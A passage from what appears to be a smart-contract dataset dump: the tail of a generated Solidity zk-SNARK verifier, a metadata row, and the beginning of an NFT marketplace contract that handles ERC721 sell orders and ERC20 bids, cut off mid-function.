9383485363053290200918347156157836566562967994039712273449902621266178545958);
vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,
6375614351688725206403948262868962793625744043794305715222011528459656738731],
[21847035105528745403288232691147584728191162732299865338377159692350059136679,
10505242626370262277552901082094356697409835680220590971873171140371331206856]);
vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
[4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]);
vk.delta2 = Pairing.G2Point([13467888457050774609129223644773188776563023042979382815235279147969520934386,
15132594861017898750024728841969975678794380473374970353715159513054422791255],
[4583014428121157407911616096872409108682040036077701727994471775814283241809,
13050024351201702786763849834908086259426353454572776118841352908531207941183]);
vk.IC = new Pairing.G1Point[](132);
vk.IC[0] = Pairing.G1Point(18679922018019674117170814466447641865456326378525986280921829777818982066395,
5887336916897882232778290430440119379308652717877267111952972806546703672148);
vk.IC[1] = Pairing.G1Point(15289702063760212609542432893057357870602448283536064988626218962934338851947,
4455991188117356053934013024872553105995214106480510205760054502905424405835);
vk.IC[2] = Pairing.G1Point(14267396498507455609698120175250373310121406654362897536693301664099087642267,
9488464994790173579410668521868424035049822435413863890222955328953658216624);
vk.IC[3] = Pairing.G1Point(731891824048625516711481801658728854369063726232196384711413543029291369882,
12172421078459168895672774978733515717876795025104577583570361868874015174866);
vk.IC[4] = Pairing.G1Point(20564565436466193074961529719918587879786191449636968044932065887198952047162,
5655865782740273594292771934802908831122716839228627056793128734268408026526);
vk.IC[5] = Pairing.G1Point(18627853945452973801187228296833744605609448172897121645937964684959383866274,
15014500451289662264066230670042118495342544589005624999880653374492678766135);
vk.IC[6] = Pairing.G1Point(17579027852972550444459723053498394417900842073165439475593467623116596770206,
19990002810678347370687792925987837685296550958061787932496426978674911530628);
vk.IC[7] = Pairing.G1Point(18325262233074769493494756075302015215939299603356543769200967861076785098094,
3586958771231766408196423971184596264550959151518682061263424939225613596112);
vk.IC[8] = Pairing.G1Point(1779952552312354789208176479106964066260123320392885988538785474658675795252,
10622111370362367567271506471588696892482646349854667318298003238424816445290);
vk.IC[9] = Pairing.G1Point(5068707772453061888309443392044238170304185839359367080859710662865798941034,
21160728178816125537210236561627573171453229467743395258773047720680605703040);
vk.IC[10] = Pairing.G1Point(18705686014843824973669391475476605449939100069653297938282934253419705869748,
15335438021191531427524605787104981839511669721328448601599432482457603932365);
vk.IC[11] = Pairing.G1Point(21372434648341307015584585833671505783440592310444627167717404682015295618979,
1289832596982495794229186384112158900055611286811789259946184914758263594);
vk.IC[12] = Pairing.G1Point(19097936784471099831700736743730952872292984449211733382799597751067909114464,
10218056516022755372759891252983896840392047377025929247537482048653139730464);
vk.IC[13] = Pairing.G1Point(21134225674037850008811318900880687390099943840414405687893286635086172480435,
14960698523476139910717931622459473729744881541900583504234669565309258514844);
vk.IC[14] = Pairing.G1Point(6754054827200435658448037825560187233259329446691692830677763578081134256817,
2097272973963930973078933062702021714068460503499401440055762607568883749787);
vk.IC[15] = Pairing.G1Point(11028683674263457827208569341263669582347379303924405625080156407342877453178,
18693729422195786824002618240095182534368389656615921361447856671910338408257);
vk.IC[16] = Pairing.G1Point(14863598159958583294906668921485351040744170927404968555757158104241565710247,
17474484557582397782329140585018056909332891484472864133154400858939934337238);
vk.IC[17] = Pairing.G1Point(7493265418925994309448892893807322441040721694749000966046661887873726961604,
6047058047523323565747507549986366178655128742943784162946327942277550802875);
vk.IC[18] = Pairing.G1Point(5741862710318768031288569723260671643834822393280025367476309619814620018786,
6262118515521749046434860964584780574721237147042218565800744364360380078759);
vk.IC[19] = Pairing.G1Point(17985036189075807186204382305789701921400667283872204463854488420325681045509,
1240921366885604093408735381760720140750686481576088657914771410693087799606);
vk.IC[20] = Pairing.G1Point(16543508004465354128863374239991930313349872258394954242818306594904975843672,
11581359282350224200514413143005744596375527696653223182267696749033717779113);
vk.IC[21] = Pairing.G1Point(14763451485063280398031636970296032126132396796606931767424169535521017207256,
17660297942048161079508051041634755246459530248204310902795291256317780284649);
vk.IC[22] = Pairing.G1Point(2203951547526880670626964299081245196175986429079137038679032008507785834789,
13525719352568391489480696031274183393235395000199162010360326770438164790595);
vk.IC[23] = Pairing.G1Point(12568203841408436019056827162829352986571377794296592300314114839002000533467,
1907408388599579374369302429703928473194688209380050198380601484088217552939);
vk.IC[24] = Pairing.G1Point(15605241178307782577294433172227643808807317466534281687867711807912899690156,
7851256500691658421666483144148696321151287123560086888262025947792675403645);
vk.IC[25] = Pairing.G1Point(9662451187296024142150931456388496612340174379445066295799955538984812293250,
15317073595366829800692291817062175187093754578282206154110000041782318354389);
vk.IC[26] = Pairing.G1Point(19908307326095081381503951053604337907395097119601635577511451647186267241839,
15951503595193912296655675121899013309149937526636359185691469937714466819103);
vk.IC[27] = Pairing.G1Point(21635523637472181198176715068488678745148455599276560187157409287226247818086,
17972488030963757696914453405768129709361554512579287393405374961110531628970);
vk.IC[28] = Pairing.G1Point(13917316430994184104760724780154228784334707644932914768753078469365509249039,
15773606964596539389778992723829178878871639247226658920818922724733524362474);
vk.IC[29] = Pairing.G1Point(19638939239342543856574974499532095469555149318281032963188874174164991086285,
3029105560877170006744327538683958759656053323825852844486365527941268897433);
vk.IC[30] = Pairing.G1Point(79384153572904163470420307974182356087302967393709214676136503711671347067,
7324396929537562542767569370371761853991553722413641421414173090548932267488);
vk.IC[31] = Pairing.G1Point(4527162982903998608694916667478472641722720918126947250478053362484679130933,
17508815893044580702740624805952191502988151409446055971507090741474847255770);
vk.IC[32] = Pairing.G1Point(16706685079941807547687182537955727639842120795233643364542173192927110196770,
20617562057164429810566060735196032802730276219158311237894370736934484633685);
vk.IC[33] = Pairing.G1Point(3803842784906460888638842730216869409307780399755756771641282051131153175515,
5538011844374425527501522358858909758829630921548405986213296615134815206282);
vk.IC[34] = Pairing.G1Point(13594406898888550406816470807708055311573935872011101496902629084851075682332,
9760975838337239679352527865245422117190497434592134909351454221779405417649);
vk.IC[35] = Pairing.G1Point(15208405091738255216856404968634438283133706325157796854012337934569214436836,
7661107064316560970899976181846045496780369435607311499583689470400466525944);
vk.IC[36] = Pairing.G1Point(13904122348409084708709842345962397836634405400628067572687614073849487265632,
8134068179260854229150787986665236402021432443516685094966087902448852589319);
vk.IC[37] = Pairing.G1Point(6538549449048940919893224025230099086048052697763173345516779152827953807821,
8950103367092571108199961443105988008115223206125919551657214916940661921773);
vk.IC[38] = Pairing.G1Point(13122079855795899930992294236963254550584055456934035537827985455741107111919,
15349866512619075430985469441212467464375154934646623666997225736670028587713);
vk.IC[39] = Pairing.G1Point(19607248567095445209654334203235505953660184779837761610130651296228796658654,
3972578049962877850313402525769014621246476696317941732309035804231553085486);
vk.IC[40] = Pairing.G1Point(5834397050065925581775281277342807363782365616090356531538504734295256859893,
11177998809573994798853880848512895477116200709105647536864057986849191918693);
vk.IC[41] = Pairing.G1Point(11366099721192844133303304120047986673725005138094625832956143267651866272434,
9288560661130891685023053642298964186481583917680081703870683176460870980277);
vk.IC[42] = Pairing.G1Point(14100073701617274860879167921717141367901354531572167968610462545443834724595,
7641483382271171166103844830091853631406194009542993758225135376546070693683);
vk.IC[43] = Pairing.G1Point(17951115687761950600055672946750502845209667212590477242269579994851458312165,
14191971774393419936249869389552823817098090164363315123623072261034021386706);
vk.IC[44] = Pairing.G1Point(4009153910652384657141566086022172236958401239908370346035580952995225331647,
20541367708524913002600465394033854609276715022074277249256858647363212869480);
vk.IC[45] = Pairing.G1Point(10131219457160111188474027514858042550426993843620921566267550942671769271253,
20959794206423729774858955587701807026511417793745566753256108076345042902307);
vk.IC[46] = Pairing.G1Point(19859149799025731315240479675192585142920150005066015180671559980047731868481,
16701692019596636388460451445156388631187817585015380932778742792695681216960);
vk.IC[47] = Pairing.G1Point(525286122821581433909544291116624124586482285374014592396395328832870539575,
7467695118420956886060461338345927860588069035093444483244422733811622516893);
vk.IC[48] = Pairing.G1Point(20325690456407709018114014551661315140467318317071040441660508639569600003968,
18161548575267414609636026977843864582382154263364657543216163796944287572410);
vk.IC[49] = Pairing.G1Point(18533053232106131179262070924092470559933369519645915071945585529829122711287,
6966232868684702700985407883676412155636300120907559157444877976163724144482);
vk.IC[50] = Pairing.G1Point(7967955778426005225079673803120211557311655714727704772619952960270006714716,
14956934374704040972509545292889867584346708261203638123831844185425287120160);
vk.IC[51] = Pairing.G1Point(20489059259629835176491393291471860610802355751431218392206451098877141075808,
12476253649047067103808140137749350953638024066553835439786196253777042994706);
vk.IC[52] = Pairing.G1Point(2282873503888335789886758357579112187079973517849404015811252917587507064476,
13971274332279719548135837485639780840683145835148627963484250225605542630392);
vk.IC[53] = Pairing.G1Point(18255094542333316179997937985495672453779378340140420025674925103876875562505,
7921672056059383957012686595517784992188264350768156199349932328137601460353);
vk.IC[54] = Pairing.G1Point(14429395191378501687704101017808679055725522522488400832638719280974781637011,
6775411536325065635093764238745907601741221882325955350912019251490017353829);
vk.IC[55] = Pairing.G1Point(7398961828427281191829878332972410621405345727106106590281389229217096077472,
19890148763403478346125379611510759496797602979763293662544017513696526535757);
vk.IC[56] = Pairing.G1Point(7657598223090932203634570491775070459866757203212439335397632858414321840704,
8515298021951899931577297805424548864134299898255317190555699122543007259363);
vk.IC[57] = Pairing.G1Point(4191825087515418352616574039665078935464537514106576728396935257936684763515,
2107842677645026845491647276470269453441288630902178055148740143407826010573);
vk.IC[58] = Pairing.G1Point(14526457686772549721256319133990653663882461384498776385160541709550458362197,
6022213685087728709754604427016226703606957451654939079427195265264163944148);
vk.IC[59] = Pairing.G1Point(5347864469152630512943419052501044270481995384752861427412473949873940459572,
20840056995314711483550334789368529409973726207031646112780198265214894360911);
vk.IC[60] = Pairing.G1Point(1831868285815678785838452886825971890641218029882488955252934197162628447473,
2585650599811360672624332769091149252007129782011865020538459390064207544451);
vk.IC[61] = Pairing.G1Point(15696603555544906022072808963362990652025190233488108892909517927415369385845,
18489603089300611002280088561940225143913191577241651760897582753214310427700);
vk.IC[62] = Pairing.G1Point(3301273266695890309981517865879404213422263473314020302241384155262170852838,
11990020709683160437489962577259987485229063286129010995391972184357895558621);
vk.IC[63] = Pairing.G1Point(1643788289578319588344890942667194101339888687443071197652508002614397101639,
3747942132126334268416692352801263599632731905406242042442141051696744857147);
vk.IC[64] = Pairing.G1Point(5294716794362857293973369222092814266306803414362975238057240261763857640165,
7933689099728965888947188751116469776694622750275347085085904716585890059888);
vk.IC[65] = Pairing.G1Point(18603433742104288044735500343951947741155643400845226957647750900980646959361,
13825185555112152202163531130642135001972030945953306848328484451534412472334);
vk.IC[66] = Pairing.G1Point(12335724833654937308756903366741820925938894791026555051359717389883829919384,
21787763772002268551333274461959458122343084971607799085341077313740880957525);
vk.IC[67] = Pairing.G1Point(6363429038108127524081609488201264288721008773773143573685842769487409569795,
20441127919926844941669242405905197778752596162195354852638949987709272818217);
vk.IC[68] = Pairing.G1Point(14867537978750945130781333785162191843653461520454930172896344513193173015006,
14918994448741428187692539928547720882418678265311379091735745319598887824083);
vk.IC[69] = Pairing.G1Point(13721214797612803282574032508006686759219283049934460236181074833723534144840,
20806014219523732441681176857553387297855808423085341505766434573290647200275);
vk.IC[70] = Pairing.G1Point(4378105625344733774922624756586323056974693204371314332731112396612290364983,
7075716462559135585666310279017959428109249436171447046679150706740376689109);
vk.IC[71] = Pairing.G1Point(363169549982388107859815457653285640577132843533577584143490688286564950536,
19503421303784725623928794618158569101177899059952614391250928279990246640915);
vk.IC[72] = Pairing.G1Point(9522689917250531972838628945072535643228933893535805087619907652164330185001,
21448386326823285508484636571404711992838854195015934388970014877155200691539);
vk.IC[73] = Pairing.G1Point(487307428105744516900803018372720504768689418758787505253667712334066866556,
5484880778343911317073124024558304288232955320252912774944164645438559337646);
vk.IC[74] = Pairing.G1Point(19150580094621090675798786503539665257453456201025863921058749277715336522308,
19826612301438075141297572920130306990481943825423658476927015703620102893570);
vk.IC[75] = Pairing.G1Point(2880819071008888247826799480760278309668595705633567330083687248660123017569,
4868912421310489414806518433732373599431230871910786169856892932934853895160);
vk.IC[76] = Pairing.G1Point(15830574699669347912939839693019390575823717972224585696255269163130712581067,
7077955759619985337322720048016041253520221082098231083806560373664559950336);
vk.IC[77] = Pairing.G1Point(13465103178553315496660363592803274205087760281944550626483789546627930310180,
5726514633439573730976008012744972169389026879453276122635501600009152061872);
vk.IC[78] = Pairing.G1Point(13460269789172485080976812156600518709760707905241026273582714437763896174228,
13210405457812804543059302887466157218382438214965486167983946005501369899664);
vk.IC[79] = Pairing.G1Point(1764883216551996159431027537630990413255523349189536955271715026452354106589,
10259309375944676280898476933131700711905221420031127160003376583581132419306);
vk.IC[80] = Pairing.G1Point(6600233391152527906990198157525288888494975136572588749813294410555154995790,
1623830516710022985732655972135945689117784009843378735008729349297844874040);
vk.IC[81] = Pairing.G1Point(3133070071318449670159494662092989626209301175661323453827797028343929925577,
20668395069425826895868744912749803003562291542861806126052566869526372310617);
vk.IC[82] = Pairing.G1Point(4134245496949580887936188390836730990807548526865295347777229092686586352140,
256168214423117065465904479255614392795718816316945949543897789590883830886);
vk.IC[83] = Pairing.G1Point(2225918833911504651219471934935862244232449790257697079101348162533469992361,
17548387340524423406042647337527418255306731803800720276928775569769199116127);
vk.IC[84] = Pairing.G1Point(18285064481870447767312639666819890270765734267216572312547726783523163012163,
19764181035871377102510504869277959063692396211979699979949206383699431451334);
vk.IC[85] = Pairing.G1Point(10482700481074217186429865891471358815641213597081986877467912303051255343728,
7386783438794901093042905536668796013206923575505576220808716179507995145540);
vk.IC[86] = Pairing.G1Point(4191299382558876659839606873451586245933240449915975109770539830752449770717,
10239603999300037621850747188097307398010984526783478421598084458406167351054);
vk.IC[87] = Pairing.G1Point(8151281305951447391103892965821962690949370103935859831937833300602862969508,
15583391693513915651146141152324713071183109422544186853493172224007857043133);
vk.IC[88] = Pairing.G1Point(7028408679317453732734688826985503517897814823972815434983883368171741700695,
11064679933022404278984668272309599103697018571071870551684142432519655601366);
vk.IC[89] = Pairing.G1Point(5425593872725398223029943441226060709290512352338606561918045400608350083605,
4351215960535952435259636167902951715604104844331830017771988094864679832654);
vk.IC[90] = Pairing.G1Point(12697660671070950361808255652154729755131421282241245867339617012899008614033,
1901626324276605253251956170670027528811816087545263171688658776940244848486);
vk.IC[91] = Pairing.G1Point(518264900691473891378378241301079580113026250463402234534992778050872943992,
20788093901439236179859666095490556931510269990526561235365852934933693757067);
vk.IC[92] = Pairing.G1Point(386883875487308958086014230891514467137072861221139881171139486802625454318,
3138921521768749025436642937428258665761546964509736598628341598331464107660);
vk.IC[93] = Pairing.G1Point(1450775286203537747043597119934442321643319230417751153912177250278502734088,
14024982687129512200507512740118625056280459736818376391033212177306439737098);
vk.IC[94] = Pairing.G1Point(10503905891984159063410725697533160461024252762755110846920390027929664565131,
17481248493747691109921988681071774550589438566184361284057605869638726318878);
vk.IC[95] = Pairing.G1Point(10904722050787526092028285262386601331725361022155428496985796067079852229372,
2943194696792547911364312763280844197419621529285705150493988502021618769738);
vk.IC[96] = Pairing.G1Point(19215708018396436654074393009045817339169971500033317825482447613356344226758,
19112961952759909278729938419944918084798490521240079858875634574818291969672);
vk.IC[97] = Pairing.G1Point(5806088035753677375963209619569209310950039918381728110172474313343885559643,
1041461988886289920152286520258935879675947598050487863801399322986071472226);
vk.IC[98] = Pairing.G1Point(1491952560492220691154285089610791933447268205990118774709004012954405640183,
570280998849034486309516436794771193933041940946583174380657846573503148758);
vk.IC[99] = Pairing.G1Point(4503402623218857771299855284147653002302019648902568478695815037851896799397,
7482116817682552319288967594631430539622534382981850329513194301628454567784);
vk.IC[100] = Pairing.G1Point(5485084938353060734913464336741349640461479014347281009065267795624214099427,
19787141448763038992283202534070473554405420684418142829463199724088757137924);
vk.IC[101] = Pairing.G1Point(5495040389296866324327235876442782823783508925923836735928076421146061530183,
10928955148122614425110425258524699362615215890060591271796095257845147641305);
vk.IC[102] = Pairing.G1Point(13452897204860479018537029697538125246768451187204596963582273504152301961824,
20705985124768206726876774201386167734219936267174661690203214447073676417671);
vk.IC[103] = Pairing.G1Point(21691026219388900409686659751368343243570099408119507074887546693371730741249,
9006704519800616854178676624232862566618446702308375258468815526351542719724);
vk.IC[104] = Pairing.G1Point(11845827002862450575358794694290708919151215308968545078803466280386936748537,
2179367423993352943451150853086599385134038542195966042004512976425090053702);
vk.IC[105] = Pairing.G1Point(21682771081151701154796359542107818637125439858458699625601000059371180719004,
5466146128823549388924774226568668749216082565987633299533832665193145462754);
vk.IC[106] = Pairing.G1Point(12136637091161472426795864366357939740819726124093470009591129639319786607814,
18015867351722352930458814232233043525622208116884571094378155194553269951693);
vk.IC[107] = Pairing.G1Point(12673221043832572378072527547232401296190524116579140818983331897294899076774,
4601652948204378748656665903144080507745298181864576591999232733291107247396);
vk.IC[108] = Pairing.G1Point(18073141294969361528510059803216336095474822796558514293917066238858977810829,
14558272203899434981870404949330179666555341769990746727630513683048968318988);
vk.IC[109] = Pairing.G1Point(5348834498490383597250867265863372366673386466936088279051473597459109624477,
13422842884429754265979232463457537926083136604339679234433347489724532950536);
vk.IC[110] = Pairing.G1Point(5431251118738390604393599507599303071043050292055065317586583098703996609441,
8215741404380678741214341422279065447174417141447903475677286730080913994445);
vk.IC[111] = Pairing.G1Point(12710173513048676682672508234469602501919791509818176506471026391319791380609,
18332104557187442317495020245648939576225600192172411406449529581582549013122);
vk.IC[112] = Pairing.G1Point(16776949414241609406527240611443534651935615683861334238489074360227728226566,
19133933409740069392923900846668822460720269327464605009567178968618665295444);
vk.IC[113] = Pairing.G1Point(20336498625542912258702274943901068454965390178478397283704014850150471822518,
10488219249456555031944378988444244295485730917114345113285136573886545423344);
vk.IC[114] = Pairing.G1Point(17123226132849687849765826595212913242040211298260661609804759708356910950782,
1900632691465412288227451057080922966212540509577100219616556435473415626108);
vk.IC[115] = Pairing.G1Point(5970091409008761155994717727557082046996926884131856320735440191070162314616,
13131201260864126490156061858974862867425282459669908554682984191358643589670);
vk.IC[116] = Pairing.G1Point(5636598594576906151402919598137581698100306930062536748838907127589019870004,
141324405715308059956159446055003470391941285429350053207231641291025984156);
vk.IC[117] = Pairing.G1Point(4606275778950510979776209055800671822579420957149286099133927914028264376186,
18123818892331898704405504841061799879483899137065110714171681657693505869752);
vk.IC[118] = Pairing.G1Point(15007382022903835525922971089628225857622963261256901591364159946467641655648,
15706941439291404235848631598894185320597286432847422980715147117010884186010);
vk.IC[119] = Pairing.G1Point(14838272049659183319541433217040888537277928838076727477535360540415966008616,
21438593864371187292857170880232737014378493329703310637026106701024406672062);
vk.IC[120] = Pairing.G1Point(15022839109634181727010805418094178333831120304267088043213693071557181469248,
8451344216519272521042053995820358145708218199017571962354527871301874357267);
vk.IC[121] = Pairing.G1Point(3092523502397787626324171561106065740409377195191312044380911753083971673584,
9669293499432315667962443806254069894125640897998148867515748522256353749504);
vk.IC[122] = Pairing.G1Point(9748305228337700248658497596437748363543168755028055203878943843516237087636,
1424720260561554972909652741771520325089488485472523217803176305490147635979);
vk.IC[123] = Pairing.G1Point(6352471222243474056924708356485349312643458716233627326506681721222287438128,
3070517599955839371938211425847194076753926208489750810042237183370541272253);
vk.IC[124] = Pairing.G1Point(8638224215182109546157300858612233220711145207727280668487369502735050906354,
19999715637825639431267966913901575196897862114313881896625577498132468117351);
vk.IC[125] = Pairing.G1Point(5335082455159065466314317630360477125973128730071115819846021860016492461309,
18891281317024316870079753694272610957794642319698594327369980591081406555625);
vk.IC[126] = Pairing.G1Point(7892507126379590074104326560811859033300469941169253549387549755821708671010,
20688076164369471235091728746381191477000092541327627926162945406922345307620);
vk.IC[127] = Pairing.G1Point(14103175722010639384741733613100823977905419754236816574388463126304421667968,
19453663841512938979179681482596842787416086241555026248587287176741667876466);
vk.IC[128] = Pairing.G1Point(8812673581579153168811704001850378053141351767148910979873835982090317910484,
6053871278680051645458273521561872475320898362213300684284486924090660321711);
vk.IC[129] = Pairing.G1Point(13485598651958544325444322282801455471499614762458723561854406528780845640175,
16044646745708872084667235327100190672644078177343334117463568182499721716961);
vk.IC[130] = Pairing.G1Point(10525281304189369461442302540508802544295685096272582919970100232764091343320,
19091181401746657436623525366086553877576016851106790071791782706873445386388);
vk.IC[131] = Pairing.G1Point(11413918569885932595570065392373132316390338192838036472884452231774496229951,
2533177720936484375314552875165811117372264462376396629105589609089419899347);
}
function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {
uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
VerifyingKey memory vk = verifyingKey();
require(input.length + 1 == vk.IC.length,"verifier-bad-input");
// Compute the linear combination vk_x
Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
for (uint i = 0; i < input.length; i++) {
require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field");
vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));
}
vk_x = Pairing.addition(vk_x, vk.IC[0]);
if (!Pairing.pairingProd4(Pairing.negate(proof.A), proof.B,
vk.alfa1, vk.beta2,
vk_x, vk.gamma2,
proof.C, vk.delta2)) return 1;
return 0;
}
/// @return r bool true if proof is valid
function verifyProof(uint[2] memory a,
uint[2][2] memory b,
uint[2] memory c,
uint[131] memory input) public view returns (bool r) {
Proof memory proof;
proof.A = Pairing.G1Point(a[0], a[1]);
proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);
proof.C = Pairing.G1Point(c[0], c[1]);
uint[] memory inputValues = new uint[](input.length);
for(uint i = 0; i < input.length; i++){
inputValues[i] = input[i];
}
if (verify(inputValues, proof) == 0) {
return true;
} else {
return false;
}
}
}
| 238,419 | 189 |
fcdc6eeba0e6d7f3283b8188a95aa127eb7f4fbb963ca43f9ddd4cfe721da1a6
| 13,052 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6a/6ADfe157332eeFA48347768e49B2D9e7Fdcf0D01_ImplementationV1.sol
| 2,941 | 12,087 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns(uint8);
}
interface IERC721 {
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC721ByteCodeGenerator {
function generate(string memory _name,
string memory _symbol,
string memory _desc,
address owner,
address _proxyGen) external pure returns(bytes memory);
}
contract ImplementationV1 { // ---> Transfering And Approving NFT Tokens Via MarketPlace <---
error ExternalCallError(string message);
address public marketplace;
address public owner;
address public marketFeeTaker;
// Byte Code Generator
address public erc721Gen;
struct SellOrder {
address nftContract;
address orderOwner;
address token;
address buyer;
uint256 nftId;
uint256 totalPrice;
uint256 orderStartedAt;
uint256 orderEndedAt;
bool isCanceled;
bool isEnded;
}
uint256 public totalSellOrderCount = 1;
struct Bid {
uint256 totalPrice;
uint256 nftId;
uint256 bidStartedAt;
uint256 bidEndedAt;
uint256 orderId;
address nftContractAddr;
address seller;
address bidOwner;
address token;
bool isCanceled;
bool isEnded;
}
uint256 public totalBidCount = 1;
event SellOrderCreated(address indexed creator,uint indexed orderId,address token);
event BidCreated(address indexed creator,uint indexed bidId,address token);
event ContractCreation(address indexed creator,string name,string symbol);
// from orderId to order info (ERC721)
mapping (uint256 => SellOrder) public order;
// from order owner to all his sell orders (ERC721)
mapping (address => uint[]) public userSellOrders;
// from contract address to specific tokenids bids
mapping (address => mapping (address => mapping (uint => uint[]))) public contractBids;
// from user to is ERC721 contract created (ERC721)
mapping (address => address) public userContract;
// from bidId to bid info (ERC721)
mapping (uint256 => Bid) public bid;
// from bidder to bid id (ERC721)
mapping (address => uint[]) public bidderBids;
// from user to his added contract accounts
mapping (address => address[]) public userAddedContracts;
// from contract address to validation
mapping (address => bool) public allMarketContracts;
// from token too validation status
mapping (address => bool) public allTokens;
address[] public tokens;
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
function createSellOrder(address _contract,
uint256 _tokenId,
uint256 _price,
address _token) external {
require(allTokens[_token] == true, "Invalid token address");
require(allMarketContracts[_contract] == true, "This address is not a valid contract address.");
IERC721 nft = IERC721(_contract);
require(nft.ownerOf(_tokenId) == msg.sender, "Not Token Owner.");
require(_price != 0, "Invalid Order Price.");
try nft.transferFrom(msg.sender, address(this), _tokenId) {
SellOrder memory _order = SellOrder({
nftContract: _contract,
orderOwner: msg.sender,
buyer: address(0),
nftId: _tokenId,
totalPrice: _price,
orderStartedAt: block.timestamp,
orderEndedAt: 0,
token: _token,
isCanceled: false,
isEnded: false
});
order[totalSellOrderCount] = _order;
userSellOrders[msg.sender].push(totalSellOrderCount);
totalSellOrderCount += 1;
emit SellOrderCreated({
creator: msg.sender,
orderId: totalSellOrderCount - 1,
token: _token
});
} catch {
revert ExternalCallError({
message: "External call failed. (1)"
});
}
}
function cancelSellOrder(uint256 _orderId) external {
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Not Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Order Has Been Ended Befor!");
IERC721 nft = IERC721(_order.nftContract);
_order.isCanceled = true;
_order.orderEndedAt = block.timestamp;
try nft.safeTransferFrom(address(this), _order.orderOwner, _order.nftId) {
//
} catch {
revert ExternalCallError({
message: "External call failed. (2)"
});
}
}
function editSellOrderPrice(uint256 _orderId,
uint256 _newPrice) external {
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Not Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Order Has Been Ended Before!");
_order.totalPrice = _newPrice;
}
function createBid(uint256 _bidPrice,
uint256 _orderId,
address _token) external {
require(allTokens[_token] == true, "Invalid token address");
SellOrder memory _order = order[_orderId];
require(_orderId > 0 && _orderId < totalSellOrderCount && _order.orderOwner != address(0) && _bidPrice != 0, "Invalid Bid Info.");
require(_order.isCanceled == false && _order.isEnded == false, "Invlaid Order Id.");
require(_order.orderOwner != msg.sender , "You Cannot Set A Bid For Your Own NFT!");
IERC20 token = IERC20(_token);
try token.transferFrom(msg.sender, address(this), (_bidPrice * (10**token.decimals()))) {
Bid memory _bid = Bid({
totalPrice: _bidPrice,
nftId: _order.nftId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: _order.nftContract,
seller: address(0),
bidOwner: msg.sender,
token: _token,
isCanceled: false,
isEnded: false
});
bid[totalBidCount] = _bid;
bidderBids[msg.sender].push(totalBidCount);
contractBids[_order.nftContract][_order.orderOwner][_order.nftId].push(totalBidCount);
totalBidCount += 1;
emit BidCreated({
creator: msg.sender,
bidId: totalBidCount - 1,
token: _token
});
} catch {
revert ExternalCallError({
message: "External call failed. (3)"
});
}
}
function cancelERC721Bid(uint _bidId) external {
Bid storage _bid = bid[_bidId];
require(_bid.bidOwner == msg.sender, "not bid owner.");
require(_bid.isCanceled == false && _bid.isEnded == false, "Cannot Cancel Bid!");
_bid.isCanceled = true;
_bid.bidEndedAt = block.timestamp;
IERC20 token = IERC20(_bid.token);
try token.transfer(msg.sender, (_bid.totalPrice * (10**token.decimals()))) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch {
revert ExternalCallError({
message: "External call failed. (4)"
});
}
}
function acceptERC721Bid(uint _bidId,
uint _orderId) external {
Bid storage _bid = bid[_bidId];
require(_bidId > 0 && _bidId < totalBidCount && _bid.bidOwner != address(0), "invalid bid id.");
require(_bid.isCanceled == false && _bid.isEnded == false, "Cannot Accept Bid!");
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Invalid Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Cannot Interact With This Order.");
_bid.isEnded = true;
_bid.bidEndedAt = block.timestamp;
_bid.seller = msg.sender;
_order.isEnded = true;
_order.orderEndedAt = block.timestamp;
_order.buyer = _bid.bidOwner;
uint totalFund = _bid.totalPrice;
uint marketFee = totalFund / 50; // 2%
uint sellerFund = totalFund - marketFee;
IERC721 nft = IERC721(_order.nftContract);
IERC20 token = IERC20(_bid.token);
try nft.transferFrom(address(this), _bid.bidOwner, _order.nftId) {
try token.transfer(msg.sender, sellerFund * (10**token.decimals())) returns(bool res) {
require(res == true, "Something Went Wrong.");
try token.transfer(marketFeeTaker, marketFee * (10**token.decimals())) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch {
revert ExternalCallError({
message: "External call failed. (6)"
});
}
} catch {
revert ExternalCallError({
message: "External call failed. (7)"
});
}
} catch {
revert ExternalCallError({
message: "External call failed. (8)"
});
}
}
function addContractAddress(address _contract) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
address[] storage addrs = userAddedContracts[msg.sender];
bool isExist;
for (uint i; i < addrs.length; ++i) {
if (_contract == addrs[i]) {
isExist = true;
break;
}
}
require(isExist == false, "Contract Already Exists.");
addrs.push(_contract);
}
function createContract(string memory _name,
string memory _symbol,
string memory _desc,
address _proxyGen) external {
require(userContract[msg.sender] == address(0), unicode"ERC721: Contract Already Created. ");
